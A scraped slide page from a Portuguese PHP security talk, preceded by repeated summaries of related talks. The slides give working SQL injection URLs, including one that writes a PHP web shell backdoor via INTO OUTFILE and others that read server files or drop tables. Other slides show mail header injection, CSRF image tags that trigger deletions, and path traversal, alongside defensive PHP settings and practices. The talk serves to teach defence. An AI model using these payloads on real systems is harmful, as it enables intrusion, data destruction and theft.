O documento discute princípios de segurança para aplicações web escritas em PHP, cobrindo tópicos como vulnerabilidades comuns, como SQL injection e XSS, e técnicas para preveni-las, como validação e filtragem de dados de entrada e saída. O documento também aborda segurança de sessão, uploads de arquivos e configurações de segurança do PHP.
Este documento resume os principais tópicos da segurança na web com PHP 5. Aborda conceitos como filtragem de input, escapamento de output, injeções (XSS, SQL, commando, código remoto, email), XSRF/CSRF, segurança de sessão (fixação e rapto de sessão) e configurações de segurança do php.ini. Fornece exemplos de cada tipo de ataque e formas de prevenção.
Este documento fornece uma introdução básica à segurança em PHP, discutindo tópicos como configuração de error_reporting, casting de variáveis, inclusão de arquivos, SQL injection, XSS e sessões/cookies. Ele também fornece dicas como criptografar senhas, armazenar arquivos de senha fora do diretório web e impedir o acesso direto a arquivos.
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...iMasters
1) O documento discute engenharia de segurança web e como proteger todas as camadas de um projeto, incluindo perímetro, rede, host, aplicativo e dados.
2) É destacada a importância de validar entrada de dados, usar parametrização de queries, criptografar informações sensíveis e limitar privilégios de acesso.
3) Técnicas como white-listing, encoding, filtros e funções de tratamento são recomendadas para prevenir vulnerabilidades como XSS, SQL injection e buffer overflows.
O documento discute técnicas de segurança PHP, incluindo XSS, sessões (fixação e sequestro), inclusão de arquivos (local e remoto), configurações PHP.ini e injeção SQL. Ele fornece exemplos de ataques e métodos de proteção como htmlspecialchars(), regeneração de IDs de sessão, expressões regulares e escapamento de strings.
Twig é uma linguagem de template para PHP que permite separar a lógica da apresentação. Ela oferece recursos como loops, condicionais, herança de templates, macros e filtros para formatação de dados. Sua sintaxe limpa e expressiva facilita a manutenção e legibilidade do código da view.
O documento apresenta um minicurso sobre o framework CakePHP. É dividido em seções sobre o que é CakePHP, por que usá-lo, preparando o ambiente, mão na massa criando páginas, layouts, helpers, rotas e um bônus sobre cadastro de notícias. O objetivo é introduzir os conceitos básicos do framework e iniciar a criação de uma aplicação simples.
Este documento apresenta o desenvolvimento de um sistema de locação de filmes chamado Telecine Mozer. O sistema possui frontend com lista de filmes cadastrados e painel administrativo para cadastro e gerenciamento. É apresentado o código do site e prints de telas como login, painel administrativo e cadastro de filmes. Diagramas de banco de dados e caso de uso também são incluídos.
O documento discute princípios de segurança para aplicações web escritas em PHP, cobrindo tópicos como vulnerabilidades comuns, como SQL injection e XSS, e técnicas para preveni-las, como validação e filtragem de dados de entrada e saída. O documento também aborda segurança de sessão, uploads de arquivos e configurações de segurança do PHP.
Este documento resume os principais tópicos da segurança na web com PHP 5. Aborda conceitos como filtragem de input, escapamento de output, injeções (XSS, SQL, commando, código remoto, email), XSRF/CSRF, segurança de sessão (fixação e rapto de sessão) e configurações de segurança do php.ini. Fornece exemplos de cada tipo de ataque e formas de prevenção.
Este documento fornece uma introdução básica à segurança em PHP, discutindo tópicos como configuração de error_reporting, casting de variáveis, inclusão de arquivos, SQL injection, XSS e sessões/cookies. Ele também fornece dicas como criptografar senhas, armazenar arquivos de senha fora do diretório web e impedir o acesso direto a arquivos.
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...iMasters
1) O documento discute engenharia de segurança web e como proteger todas as camadas de um projeto, incluindo perímetro, rede, host, aplicativo e dados.
2) É destacada a importância de validar entrada de dados, usar parametrização de queries, criptografar informações sensíveis e limitar privilégios de acesso.
3) Técnicas como white-listing, encoding, filtros e funções de tratamento são recomendadas para prevenir vulnerabilidades como XSS, SQL injection e buffer overflows.
O documento discute técnicas de segurança PHP, incluindo XSS, sessões (fixação e sequestro), inclusão de arquivos (local e remoto), configurações PHP.ini e injeção SQL. Ele fornece exemplos de ataques e métodos de proteção como htmlspecialchars(), regeneração de IDs de sessão, expressões regulares e escapamento de strings.
Twig é uma linguagem de template para PHP que permite separar a lógica da apresentação. Ela oferece recursos como loops, condicionais, herança de templates, macros e filtros para formatação de dados. Sua sintaxe limpa e expressiva facilita a manutenção e legibilidade do código da view.
O documento apresenta um minicurso sobre o framework CakePHP. É dividido em seções sobre o que é CakePHP, por que usá-lo, preparando o ambiente, mão na massa criando páginas, layouts, helpers, rotas e um bônus sobre cadastro de notícias. O objetivo é introduzir os conceitos básicos do framework e iniciar a criação de uma aplicação simples.
Este documento apresenta o desenvolvimento de um sistema de locação de filmes chamado Telecine Mozer. O sistema possui frontend com lista de filmes cadastrados e painel administrativo para cadastro e gerenciamento. É apresentado o código do site e prints de telas como login, painel administrativo e cadastro de filmes. Diagramas de banco de dados e caso de uso também são incluídos.
O documento fornece exemplos de códigos JavaScript para criar diversos elementos interativos em páginas web, como ciclo de banners, janelas rolantes, painéis de menus, interligação de campos de formulários, calendário de eventos, duplo clique, menus suspensos e outros. O foco é ensinar técnicas básicas e avançadas de JavaScript por meio de exemplos práticos passo a passo.
Café com Bug - 2a Edição em 13/05/2010guest5542ac7
O documento discute estratégias para lidar com escalabilidade, balanceamento de carga e tratamento de exceções em aplicações web. Ele também fornece exemplos de como configurar logging/debugging com Log4Net e detalha contatos e referências adicionais.
Bypass de token csrf na pratica secure brasilWilliam Costa
O documento discute três formas de bypass de tokens CSRF em diferentes sistemas, mostrando como explorar vulnerabilidades XSS para roubar tokens e realizar ataques CSRF sem o consentimento do usuário.
O documento discute uma prova de conceito realizada pelo autor onde ele demonstra vulnerabilidades em plugins do WordPress. Ele resume (1) como o autor inseriu código malicioso em um plugin e o submeteu ao repositório do WordPress sem detecção, (2) testes realizados em plugins de segurança que não identificaram o código, e (3) as permissões amplas dadas a plugins para acessar e manipular dados do site. O autor conclui destacando a importância de revisar códigos de plugins antes da instalação.
1. O documento discute segurança e desempenho no WordPress VIP, mencionando validação de dados, escaping de strings e funções.
2. É explicado porque escapar dados é importante para prevenir exploits e ataques como SQL injection.
3. Diferentes funções de escaping e sanitização são explicadas, incluindo como escapar atributos, texto, URLs e JavaScript.
O documento discute tópicos relacionados à segurança de aplicações web, incluindo injeção de código, ameaças como SQL injection e XSS, e oportunidades para desenvolvedores melhorarem a segurança nas aplicações.
Este documento resume as principais linguagens e tecnologias para desenvolvimento front-end:
1) HTML é usado para estruturar e dar significado à informação; CSS é usado para estilizar a apresentação dessa informação; JavaScript é usado para adicionar comportamento interativo.
Este documento fornece uma introdução ao framework Play! para desenvolvimento de aplicações web com Java. Ele discute a instalação do framework, criação de um projeto de exemplo, estrutura de pastas, configuração do banco de dados, criação de modelos, controllers e views. Além disso, aborda tópicos como validações, interceptações, templates, módulos e recursos avançados do framework.
O documento resume os principais conceitos do framework AngularJS, incluindo:
1) Como criar aplicações single-page usando controllers, serviços, templates e rotas;
2) O que são diretivas e como elas permitem estender a funcionalidade do Angular;
3) Como o ciclo de compilação e ligação do Angular funciona para integrar diretivas ao DOM.
Hibernate efetivo (IA-2014 / Disturbing the Mind)Rafael Ponte
Mesmo anos após o lançamento do Hibernate ainda é fácil encontrar projetos utilizando o framework de maneira ineficiente, podendo leva-lo a problemas sérios de performance ou até inviabilizar a aplicação. O uso não efetivo do Hibernate está intimamente ligado a erros comuns e más práticas em sua utilização, que vão desde pool de conexões, select n+1, configuração de cache, batch-size até o uso indevido do cache level 1 em processamentos batch e o tratamento de LazyInitializationException.
Palestra ministrada no evento Disturbing the Mind 2014 do Instituto Atlântico (IA).
O documento discute SQL injection, incluindo o que é, implicações e exemplos. Ele fornece exemplos reais de SQL injection, código-fonte vulnerável e exercícios para testar vulnerabilidades em um servidor OWASP. Referências adicionais sobre injeção de código e prevenção são fornecidas no final.
O documento discute as três categorias principais de XSS (Cross-Site Scripting): Reflected XSS, Stored XSS e DOM-based XSS. Ele também apresenta três exemplos de vulnerabilidades de XSS encontradas em softwares populares e como elas poderiam ser exploradas para realizar ações maliciosas como criar usuários administradores ou alterar configurações. A conclusão é que as vulnerabilidades de XSS podem ter impactos muito maiores do que simplesmente exibir mensagens, podendo comprometer a segurança da aplicação.
Palestra da phpx2016 que fala sobre como utilizar certificados no lado do cliente. Exemplo de aplicação em Mobile e os benefícios que o certificado provê.
SQL injection é uma vulnerabilidade comum em aplicações web que permite a manipulação maliciosa de queries de banco de dados por meio de inputs de usuário. Ao não validar adequadamente os dados de entrada, um atacante pode executar queries arbitrárias e comprometer a confidencialidade, integridade e disponibilidade de dados.
Este documento apresenta técnicas para desenvolver aplicações PHP seguras, abordando três conceitos: 1) A simplicidade da PHP não significa vulnerabilidade, 2) A web é um ambiente inseguro, mas desenvolvedores podem criar aplicações seguras e 3) Algumas funcionalidades da PHP aumentam riscos se não usadas corretamente. O documento fornece exemplos e soluções, como desativar register_globals e filtrar entrada de dados, para ajudar desenvolvedores a criarem aplicações PHP seguras.
Este documento explica como implementar o Zend_ACL para controle de permissões de acesso em um sistema usando roles e recursos. Ele cria um plugin que adiciona regras de acesso para um perfil "guest", controlando o acesso aos módulos "ADMIN" e "DEFAULT" do sistema.
O documento apresenta uma API RESTful criada com o framework Respect para gerenciar informações de cervejas. Apresenta as vantagens de APIs, os componentes do Respect como Config, Relational, Validation e Router utilizados para construir a API, além de detalhar os métodos GET, POST, PUT e DELETE para manipular os recursos de cerveja.
O documento discute vários riscos de segurança para e-commerce, incluindo injeção SQL, quebra de fluxo, XSS e ataques de negação de serviço. Ele também fornece dicas sobre como implementar pagamentos seguros com PagSeguro, validando tokens e valores retornados e permanecendo vigilante contra fraudes.
Este documento discute vários tópicos relacionados à segurança em PHP, incluindo validação de dados de usuários, prevenção contra scripts maliciosos, sessões e inclusão de arquivos. Ele também fornece exemplos de como implementar CAPTCHAs e validação por e-mail para melhorar a segurança contra ataques automatizados.
O documento discute conceitos importantes de programação web com PHP, incluindo sessões, cookies, cabeçalhos HTTP, autenticação e autorização. Sessões permitem armazenar informações do usuário no servidor para várias páginas. Cookies armazenam informações no navegador do usuário. Cabeçalhos HTTP controlam redirecionamentos e autenticação básica. Autenticação verifica a identidade do usuário e autorização controla o acesso a recursos.
O documento fornece exemplos de códigos JavaScript para criar diversos elementos interativos em páginas web, como ciclo de banners, janelas rolantes, painéis de menus, interligação de campos de formulários, calendário de eventos, duplo clique, menus suspensos e outros. O foco é ensinar técnicas básicas e avançadas de JavaScript por meio de exemplos práticos passo a passo.
Café com Bug - 2a Edição em 13/05/2010guest5542ac7
O documento discute estratégias para lidar com escalabilidade, balanceamento de carga e tratamento de exceções em aplicações web. Ele também fornece exemplos de como configurar logging/debugging com Log4Net e detalha contatos e referências adicionais.
Bypass de token csrf na pratica secure brasilWilliam Costa
O documento discute três formas de bypass de tokens CSRF em diferentes sistemas, mostrando como explorar vulnerabilidades XSS para roubar tokens e realizar ataques CSRF sem o consentimento do usuário.
O documento discute uma prova de conceito realizada pelo autor onde ele demonstra vulnerabilidades em plugins do WordPress. Ele resume (1) como o autor inseriu código malicioso em um plugin e o submeteu ao repositório do WordPress sem detecção, (2) testes realizados em plugins de segurança que não identificaram o código, e (3) as permissões amplas dadas a plugins para acessar e manipular dados do site. O autor conclui destacando a importância de revisar códigos de plugins antes da instalação.
1. O documento discute segurança e desempenho no WordPress VIP, mencionando validação de dados, escaping de strings e funções.
2. É explicado porque escapar dados é importante para prevenir exploits e ataques como SQL injection.
3. Diferentes funções de escaping e sanitização são explicadas, incluindo como escapar atributos, texto, URLs e JavaScript.
O documento discute tópicos relacionados à segurança de aplicações web, incluindo injeção de código, ameaças como SQL injection e XSS, e oportunidades para desenvolvedores melhorarem a segurança nas aplicações.
Este documento resume as principais linguagens e tecnologias para desenvolvimento front-end:
1) HTML é usado para estruturar e dar significado à informação; CSS é usado para estilizar a apresentação dessa informação; JavaScript é usado para adicionar comportamento interativo.
Este documento fornece uma introdução ao framework Play! para desenvolvimento de aplicações web com Java. Ele discute a instalação do framework, criação de um projeto de exemplo, estrutura de pastas, configuração do banco de dados, criação de modelos, controllers e views. Além disso, aborda tópicos como validações, interceptações, templates, módulos e recursos avançados do framework.
O documento resume os principais conceitos do framework AngularJS, incluindo:
1) Como criar aplicações single-page usando controllers, serviços, templates e rotas;
2) O que são diretivas e como elas permitem estender a funcionalidade do Angular;
3) Como o ciclo de compilação e ligação do Angular funciona para integrar diretivas ao DOM.
Hibernate efetivo (IA-2014 / Disturbing the Mind)Rafael Ponte
Mesmo anos após o lançamento do Hibernate ainda é fácil encontrar projetos utilizando o framework de maneira ineficiente, podendo leva-lo a problemas sérios de performance ou até inviabilizar a aplicação. O uso não efetivo do Hibernate está intimamente ligado a erros comuns e más práticas em sua utilização, que vão desde pool de conexões, select n+1, configuração de cache, batch-size até o uso indevido do cache level 1 em processamentos batch e o tratamento de LazyInitializationException.
Palestra ministrada no evento Disturbing the Mind 2014 do Instituto Atlântico (IA).
O documento discute SQL injection, incluindo o que é, implicações e exemplos. Ele fornece exemplos reais de SQL injection, código-fonte vulnerável e exercícios para testar vulnerabilidades em um servidor OWASP. Referências adicionais sobre injeção de código e prevenção são fornecidas no final.
O documento discute as três categorias principais de XSS (Cross-Site Scripting): Reflected XSS, Stored XSS e DOM-based XSS. Ele também apresenta três exemplos de vulnerabilidades de XSS encontradas em softwares populares e como elas poderiam ser exploradas para realizar ações maliciosas como criar usuários administradores ou alterar configurações. A conclusão é que as vulnerabilidades de XSS podem ter impactos muito maiores do que simplesmente exibir mensagens, podendo comprometer a segurança da aplicação.
Palestra da phpx2016 que fala sobre como utilizar certificados no lado do cliente. Exemplo de aplicação em Mobile e os benefícios que o certificado provê.
SQL injection é uma vulnerabilidade comum em aplicações web que permite a manipulação maliciosa de queries de banco de dados por meio de inputs de usuário. Ao não validar adequadamente os dados de entrada, um atacante pode executar queries arbitrárias e comprometer a confidencialidade, integridade e disponibilidade de dados.
Este documento apresenta técnicas para desenvolver aplicações PHP seguras, abordando três conceitos: 1) A simplicidade da PHP não significa vulnerabilidade, 2) A web é um ambiente inseguro, mas desenvolvedores podem criar aplicações seguras e 3) Algumas funcionalidades da PHP aumentam riscos se não usadas corretamente. O documento fornece exemplos e soluções, como desativar register_globals e filtrar entrada de dados, para ajudar desenvolvedores a criarem aplicações PHP seguras.
Este documento explica como implementar o Zend_ACL para controle de permissões de acesso em um sistema usando roles e recursos. Ele cria um plugin que adiciona regras de acesso para um perfil "guest", controlando o acesso aos módulos "ADMIN" e "DEFAULT" do sistema.
O documento apresenta uma API RESTful criada com o framework Respect para gerenciar informações de cervejas. Apresenta as vantagens de APIs, os componentes do Respect como Config, Relational, Validation e Router utilizados para construir a API, além de detalhar os métodos GET, POST, PUT e DELETE para manipular os recursos de cerveja.
O documento discute vários riscos de segurança para e-commerce, incluindo injeção SQL, quebra de fluxo, XSS e ataques de negação de serviço. Ele também fornece dicas sobre como implementar pagamentos seguros com PagSeguro, validando tokens e valores retornados e permanecendo vigilante contra fraudes.
Este documento discute vários tópicos relacionados à segurança em PHP, incluindo validação de dados de usuários, prevenção contra scripts maliciosos, sessões e inclusão de arquivos. Ele também fornece exemplos de como implementar CAPTCHAs e validação por e-mail para melhorar a segurança contra ataques automatizados.
O documento discute conceitos importantes de programação web com PHP, incluindo sessões, cookies, cabeçalhos HTTP, autenticação e autorização. Sessões permitem armazenar informações do usuário no servidor para várias páginas. Cookies armazenam informações no navegador do usuário. Cabeçalhos HTTP controlam redirecionamentos e autenticação básica. Autenticação verifica a identidade do usuário e autorização controla o acesso a recursos.
O documento discute os principais frameworks PHP, comparando suas características e funcionalidades. Apresenta detalhes sobre arquitetura, acesso a dados, formulários, validações, cache, segurança, internacionalização e documentação de frameworks como CakePHP, CodeIgniter, Symfony e Zend Framework.
O documento discute o uso de sessões, cookies e cabeçalhos HTTP em PHP para armazenar informações do usuário no servidor e navegador. Sessões permitem armazenar dados no servidor através de um ID exclusivo, enquanto cookies armazenam pequenas quantidades de dados no navegador do usuário. Cabeçalhos HTTP podem ser usados para redirecionamento, autenticação básica e geração de CAPTCHAs.
O documento discute conceitos de programação web em PHP, incluindo sessões, cookies, cabeçalhos HTTP, autenticação e autorização. Ele explica como sessões e cookies podem ser usados para armazenar informações do usuário e como funções como session_start() iniciam sessões.
Como conectar programas em linguagem java a bases de dadosHenrique Fernandes
O documento descreve como conectar programas Java a bancos de dados usando padrões Factory e DAO. Ele cria um banco de dados MySQL, define classes para acessar e manipular dados, e fornece um exemplo conectando-se ao banco de dados, inserindo, atualizando e listando registros.
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
O documento discute boas práticas de segurança para aplicações web PHP, cobrindo tópicos como injeção de código, autenticação, sessões, XSS, CSRF e outras vulnerabilidades do OWASP Top 10. Ele também fornece exemplos de como implementar filtros, hashes de senha, verificação de tokens e outras técnicas para melhorar a segurança.
O documento fornece instruções para configurar um aplicativo web utilizando o framework Yii, incluindo: 1) instalação do framework e geração da estrutura do aplicativo, 2) configuração do banco de dados, 3) geração do código MVC para as tabelas, 4) adição de menu e campos ao grid, 5) configuração de labels e campos obrigatórios. Anexos fornecem detalhes adicionais sobre a estrutura do aplicativo, menu, campos do grid.
A evolução da segurança PHP em 2016 se resume a:
- Melhorias nos algoritmos de hashing de senhas;
- Nova função de números aleatórios e geração de bytes aleatórios;
- Suporte a criptografia simétrica com libsodium e OpenSSL;
- Uso obrigatório do PDO para acesso a bancos de dados.
Criando controle de acesso com php e my sqlPaulo Damas
O documento descreve como criar um sistema simples de controle de acesso de usuários com logins e senhas utilizando PHP. Ele inclui códigos para criar páginas de login e cadastro, verificar as credenciais do usuário e redirecioná-lo para páginas diferentes de acordo com seu tipo.
1) O documento apresenta uma palestra sobre as principais vulnerabilidades de segurança em aplicações web, focando no OWASP Top 10, e demonstra como explorá-las e protegê-las utilizando ferramentas e boas práticas de programação.
2) São discutidas vulnerabilidades como injeção de SQL, cross-site scripting, falhas na autenticação e controle de sessão e referências inseguras a objetos.
3) Também são apresentadas demonstrações práticas de como explorar essas vulnerabilidades e como evitá-
Partindo de um código legado com uma organização frágil e pouco reutilizável iremos aprimorá-lo de forma incremental e com foco nas regras de negócio. Utilizaremos princípios de projeto orientado a objetos para torná-lo mais fácil de testar e reutilizar deixando o seu código mais robusto e escalável.
O documento apresenta um exemplo de como implementar injeção de dependência em PHP usando anotações em propriedades para definir as dependências. É mostrado como parsear as anotações para obter as dependências de uma classe, verificar se elas existem em um container e injetá-las no objeto. Isso permite construir objetos sem precisar instanciar diretamente suas dependências.
[QANinjaConference] Automação de Testes com CodeceptionJúlio de Lima
O documento discute a automação de testes com o framework Codeception, apresentando um exemplo de teste de aceitação em PHP usando o DSL do Codeception. Também menciona outros frameworks que podem ser usados para automação de testes como PHPUnit com Guzzle ou WebDriver.
Este documento descreve um sistema gerenciador de produtos construído com PHP e MySQL. O sistema permite que usuários cadastrados realizem ações como incluir, alterar, excluir e listar produtos armazenados no banco de dados MySQL. Ele utiliza sessões PHP para autenticar usuários e redirecioná-los para páginas que fornecem diferentes funcionalidades de gestão de produtos.
JavaScript é uma linguagem de script que é interpretada pelo navegador para dar interatividade às páginas HTML. jQuery é um framework JavaScript que simplifica a manipulação do DOM HTML, tratamento de eventos e efeitos visuais. O documento apresenta os conceitos básicos de JavaScript e jQuery, incluindo seletores, manipulação do DOM, eventos e efeitos.
O documento apresenta boas práticas para automação de testes, incluindo usar page objects, dados-driven testing e manter testes isolados. Também discute técnicas como record and replay, bare sleep e keep pooling.
Semelhante a Palestra de segurança em PHP - Hacking (20)
O documento resume uma palestra sobre HTML5, CSS3 e JavaScript que ocorrerá em 17 de outubro de 2022. Apresentará conceitos básicos dessas tecnologias como tags, elementos, estrutura básica de páginas web e exemplos de códigos.
1) O documento discute o uso da biblioteca cURL no PHP para fazer requisições HTTP e extrair dados de sites e APIs.
2) São apresentados exemplos básicos de requisições GET e POST, além de opções como cookies e cabeçalhos para simular requisições do navegador.
3) Também são discutidas técnicas avançadas como crawling paralelo, scraping e captura de tela com Selenium.
O documento discute os conceitos fundamentais de blockchain e Bitcoin, incluindo: (1) como a blockchain combina técnicas de computação distribuída, criptografia e teoria dos jogos para permitir um livro-razão distribuído imutável; (2) o processo de mineração usado para manter o consenso na rede; (3) os diferentes tipos de blockchains públicas e privadas.
O documento discute conceitos de blockchain e criptomoedas, incluindo mineração, arquitetura distribuída, criptografia assimétrica, transações e assinaturas digitais. Também aborda segurança, livro caixa distribuído, robôs de arbitragem e como colocar criptomoedas no carrinho de compras.
Gustavo Almeida discute como a programação assíncrona e reativa pode melhorar o desempenho de aplicações PHP ao evitar gargalos de E/S. Ele explica como bibliotecas como ReactPHP podem ser usadas para criar loops de eventos e encadear callbacks para lidar com requisições de forma não bloqueante. Além disso, aborda conceitos como promessas e streams para simplificar códigos assíncronos complexos em PHP.
O documento apresenta um resumo sobre coleta de dados na web (web crawling e scraping) utilizando PHP. Aborda definições, principais pontos como robots.txt e headers, além de apresentar pseudocódigos para listagem de páginas e extração de detalhes, com armazenamento em banco de dados MySQL.
Palestra na PHP Conference 2016 onde mostro novidades do PHP7 e PHP7.1 mostrando dicas que podem ser aplicadas imediatamente, entre nessa onda do PHP 7.
6. Baseada em erro ou booleano
http://www.site.com/produto.php?id=’ or true; union all select 1,2 %23
http://www.site.com/produto.php?id=’ or true; order by 1 %23
http://www.site.com/produto.php?id=’ or true; drop table clientes;
http://www.site.com/produto.php?id=’ or true; union all select
1,load_file(“/etc/apache2/sites-available/000-default.conf”) %23
http://www.site.com/produto.php?id=’ or true; union all select 1,”<pre><?php
system($_GET[‘cmd’]) ?>” INTO OUTFILE “/var/www/html/pasta/backdoor.php”
%23
Consegui uma backdoor : http://www.site.com/pasta/backdoor.php?cmd=ls
7. Injeção SQL baseada em tempo
‘or sleep(2) %23
‘or sleep(5) %23
‘or if(true, sleep(2),0) %23
Se o browser demorar a responder indica vulnerabilidade
11. create user ‘usuario'@'%' identified by 'senha123';
grant select,insert,update on meubd.* to ‘usuario'@'%';
Lei do menor privilégio
Usuário de BD com permissão específica
12. Injeção em formulários de email
n ou %0A
mail($dest, $assunto,$msg,”From: $origem”);
origem=email@email.com%0ABcc:spam@email.c
om&assunto=modificado
20. #Level 1: checar apenas a extensao .jpg,.gif,etc
#Level 2: checar MIME type 'image/jpeg','image/png',etc
$file_info = getimagesize($_FILES['image_file'];
$file_mime = $file_info['mime'];
#Level 3: Leia por exemplo os primeiros 100 bytes e analisar caracteres correspondentes via ascii
#Level 4: checar por números mágicos (nao sei ainda oq é isso !!!)
#################### Minha Solução ###########################
#ressalvar a imagem checando se o GD retorna um resource if(is_resource($imagem))
$src = (resource) imagecreatefromstring(file_get_contents($url));
$dst = imagecreatetruecolor($width,$height);
imagecopyresampled($dst,$src,0,0,0,0,$width,$height,$size[0],$size[1]);
imagedestroy($src);
imagepng($dst,$target_filename_here);
imagedestroy($dst);
Código não testado
Formulário de arquivos
21. criptografia - rainbow tables
/mostrar_pedido.php?id=12345
hash - md5, sha1
/mostrar_pedido.php?id=JHGJF765HGJHG7978HGHHJKG
Posso ter todos os hashes possíveis com rainbow tables
cURL:
foreach($rainbows as $rainbow){
$pedidos[]=file_get_contents(‘/mostrar_pedido.php?id=’$rainbow);
}
35. CSRF
POR GET OU POST
<img src=’site.com/admin/del.php?id=123’>
<img src=’site.com/admin/del.php?id=124’>
<img src=’site.com/admin/del.php?id=125’>
ou entao para quem usa MD5/SHA1 (sem salt)
for($i=1;$i<=10000;$i++)
echo “<img src=’site.com/admin/del.php?id=’.md5($i).”>”
Funcionários logados no
sistema através do controle por
$_SESSION
40. Pasta Pública e Raiz
Path traversal - ../../../arquivo.php (Apache ou .htaccess Options -Indexes)
www.site.com/
41. Cookies e Sessions
Usar cookies em HTTPS - Certificado ssl grátis - https://letsencrypt.org/
Cuidado com fixação de sessão site.com.br/logado.php?PHPSESSIONID=553534h5h34g5g345hg3
● Use o parâmetro HTTPOnly para que javascript não acesse o arquivo txt do cookie
● setcookie("nome","valor","","", true);
● Use a função session_regenerate_id() após login/logout de seus usuários
#PREVENTING SESSION HIJACKING
#Prevents javascript XSS attacks aimed to steal the session ID
ini_set('session.cookie_httponly', 1);
#PREVENTING SESSION FIXATION
#Session ID cannot be passed through URLs
ini_set('session.use_only_cookies', 1);
#Uses a secure connection (HTTPS) if possible
ini_set('session.cookie_secure', 1);
42. Arquivos de log
Que tal fazer um script que monitora 24x7 seus logs e em
se tratando de algo suspeito envia um telegram para o
responsável ou bloqueia no exato momento da tentativa
de invasão com iptables
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/mysql/error.log